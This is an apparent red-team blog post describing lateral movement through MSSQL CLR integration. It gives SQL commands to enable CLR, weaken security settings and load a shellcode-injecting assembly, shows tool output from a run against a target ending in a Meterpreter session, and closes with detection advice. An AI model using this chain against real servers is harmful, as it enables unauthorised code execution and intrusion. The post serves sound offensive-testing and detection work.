Using discovered credentials to move laterally in an environment is a common goal for the NCC Group FSAS team. The ability to quickly and reliably use a newly gained set of credentials is essential during time-constrained operations. This blog post explains how to automate lateral movement via MSSQL CLR without touching disk* or requiring XP_CMDSHELL and how this can be prevented and detected.
*A DLL is still temporarily written to disk by the SQL Server process.
Post exploitation of MSSQL services to achieve command execution commonly leverages the XP_CMDSHELL stored procedure to run operating system commands in the context of the MSSQL process. To run custom code using this technique, the use of LOLBINS, the addition of a new operating system user or a binary written to disk via BCP is usually required, which provide obvious detection opportunities.
The tool developed for this post (Squeak) can be found at:
https://github.com/nccgroup/nccfsas/tree/main/Tools/Squeak
Leveraging CLR integration for command execution has been previously discussed in this presentation by Sensepost, but has been automated to improve the speed and reliability of the technique.
SQL Server CLR Integration
The ability to run .NET code from MSSQL was introduced in SQL Server 2005, with various protections overlayed in subsequent versions to limit what the code could access. A permission level is assigned to an assembly upon creation – for example:
CREATE ASSEMBLY SQLCLRTest
FROM 'C:MyDBAppSQLCLRTest.dll'
WITH PERMISSION_SET = SAFE; The three options for a permission set are:
- SAFE: This essentially only exposes the MSSQL data set to the code, with the majority of other operations forbidden
- EXTERNAL_ACCESS: This opens up the potential to access certain resources on the underlying server but shouldn’t permit direct code execution
- UNSAFE: Any code is permitted.
Detailed Microsoft documentation for SQL CLR is available at https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration.
Code which satisfies the requirements to be marked as ‘SAFE’ can be run by simply enabling CLR but several configuration changes, as well as DBA privileges are required to run ‘EXTERNAL_ACCESS’ or ‘UNSAFE’ code. The initial steps required to run an ‘UNSAFE’ CLR differ for server versions before and after 2017, examples of both can be seen below:
Prior to SQL Server 2017
Show advanced options:
sp_configure 'show advanced options',1;RECONFIGURE
Enable CLR:
sp_configure 'clr enabled',1;RECONFIGURE;
Configure the database in which the assembly will be stored to be trustworthy.
ALTER DATABASE
Interestingly, the MSDB database appears to be granted TRUSTWORTHY permission by default, which may negate this requirement:
SQL Server 2017 and later
For SQL Server 2017 and above, strict security was introduced, which must also be disabled. Alternatively there is an option to specifically grant UNSAFE permission to an individual assembly based on the provision of it’s SHA512 hash, rather than marking a whole database as trusted. For SQL Server 2017 and above, the process would be as follows.
Show advanced options:
sp_configure 'show advanced options',1;RECONFIGURE
Enable CLR:
sp_configure 'clr enabled',1;RECONFIGURE;
Add the SHA512 hash of the assembly to the list of trusted assemblies:
sp_add_trusted_assembly @hash=
From this point, the creation and invocation of the assembly is the same for any SQL Server version:
Create the assembly from a hex string – the ability to create the assembly from a hex string means that it is not necessary to create a binary file and write it to a location accessible by the SQL server process:
CREATE ASSEMBLY clrassem from
Create a stored procedure to run code from the assembly:
CREATE PROCEDURE debugrun AS EXTERNAL NAME clrassem.StoredProcedures.runner;
Run the stored procedure:
debugrun
After the code has run, the stored procedure and assembly can be dropped, trusted hashes removed and any modified security settings can be returned to normal. An example of SQL queries to achieve this are shown below, although it should be noted that this doesn’t take account of what the initial configuration of the security settings were:
For SQL Server 2017 and above:
sp_drop_trusted_assembly @hash=
Prior to SQL Server 2017:
ALTER DATABASE
All versions:
DROP PROCEDURE debugrun;DROP ASSEMBLY clrassem;sp_configure 'clr strict security',1;RECONFIGUREsp_configure 'show advanced options',0;RECONFIGURE
At this point, the SQL Server process is executing any .NET code supplied to it so leveraging this for lateral movement simply requires the construction of an appropriate DLL. As a proof of concept, a simple assembly that XORs some shellcode and injects it into a spawned process was produced. To simplify the creation and invocation of CLR code, GUI application was made that performs the following actions:
- Collects connection string data
- Reads in the shellcode bytes from a raw binary file and single byte XORs
- Generates a MSSQL CLR DLL that XORs the shellcode, spawns a new process and injects the shellcode into it.
- Calculates the SHA512 hash of the DLL
- Produces a single .NET executable with hard coded arguments to execute the DLL via an SQL connection – the executable performs the following actions:
- Creates an SQL connection
- Checks SQL Server version
- Check for DBA permissions
- Checks and records existing security settings
- Modifies security settings
- Creates and runs the assembly
- Restores security settings and deletes the assembly
The following screenshots show the process of generating a standalone executable with the connection string and CLR assembly embedded.
The code for the CLR assembly is loaded from a file in the working directory, which can either be opened directly or edited from within the tool. Sample code is provided with the tool but has not been optimised for avoiding detection.
The generated executable can then be run against the target without any arguments:
C:UsersuserDesktop>latmovemssqloutput.exe
Running with settings:
==========
Server: 192.168.49.150
Port: 55286
Database: msdb
User: dave
==========
Connection Open !
Microsoft SQL Server 2012 - 11.0.2100.60 (Intel X86)
Feb 10 2012 19:13:17
Copyright (c) Microsoft Corporation
Express Edition on Windows NT 6.2 (Build 9200: ) (WOW64) (Hypervisor)
Checking for DBA Privs
┌─┐
│1│
└─┘
Got DBA Privs!
Checking whether Advanced Options are already on.
│show advanced options│ 0│ 1│ 0│ 0│
Enabling advanced options
SQL Server is lower than 2017.
Checking CLR status
┌───────────────────────────────────────────────────────────┐
│clr enabled│ 0│ 1│ 1│ 1│
└───────────────────────────────────────────────────────────┘
CLR already enabled
Dropping any existing assemblies and procedures
SQL version is lower than 2017, checking whether trustworthy is enabled on the connected DB:
┌────┐
│True│
└────┘
Creating the assembly
Creating the stored procedure
Running the stored procedure.
Sleeping before cleanup for: 5
Cleanup
=======
Dropping procedure and assembly
Disabling advanced options again
Cleaned up... all done.
The desired shellcode is run, in this instance establishing a Meterpreter session, although obviously any shellcode could be run:
Code has been tested against the following SQL Server versions:
- Microsoft SQL Server 2019 (RTM) – 15.0.2000.5 (X64)
- Microsoft SQL Server 2017 (RTM) – 14.0.1000.169 (X64)
- Microsoft SQL Server 2012 – 11.0.2100.60 (Intel X86)
Detection and Response
Minimising the exposure of database credentials and applying appropriate privilege management to SQL logins should mitigate against using the protocol to execute code on the underlying operating system.
Failing this, there are several opportunities for detection of lateral movement using this technique:
- Anomalous SQL Server logins
- Auditing of suspicious transactions such as ‘CREATE ASSEMBLY’, or indeed any other part of the chain of SQL queries required.
- Actions performed by the DLL itself. In this instance, for example a CreateRemoteThread call from within .NET may trigger a detection
The process of invoking an assembly via SQL commands also results in several identical files with different names being written to the temporary directory of the SQL service account. The following screenshot of Procmon shows the file being created and the .NET code being written to it.
By adjusting file permissions to prevent files being deleted from the C:WindowsTemp directory, it was possible to retrieve a copy of the file before it was deleted by the sqlservr.exe process. This could then be decompiled to reveal the original code:
This gives an additional opportunity for static detection of malicious content, although the evidence is quickly removed after the assembly has executed.
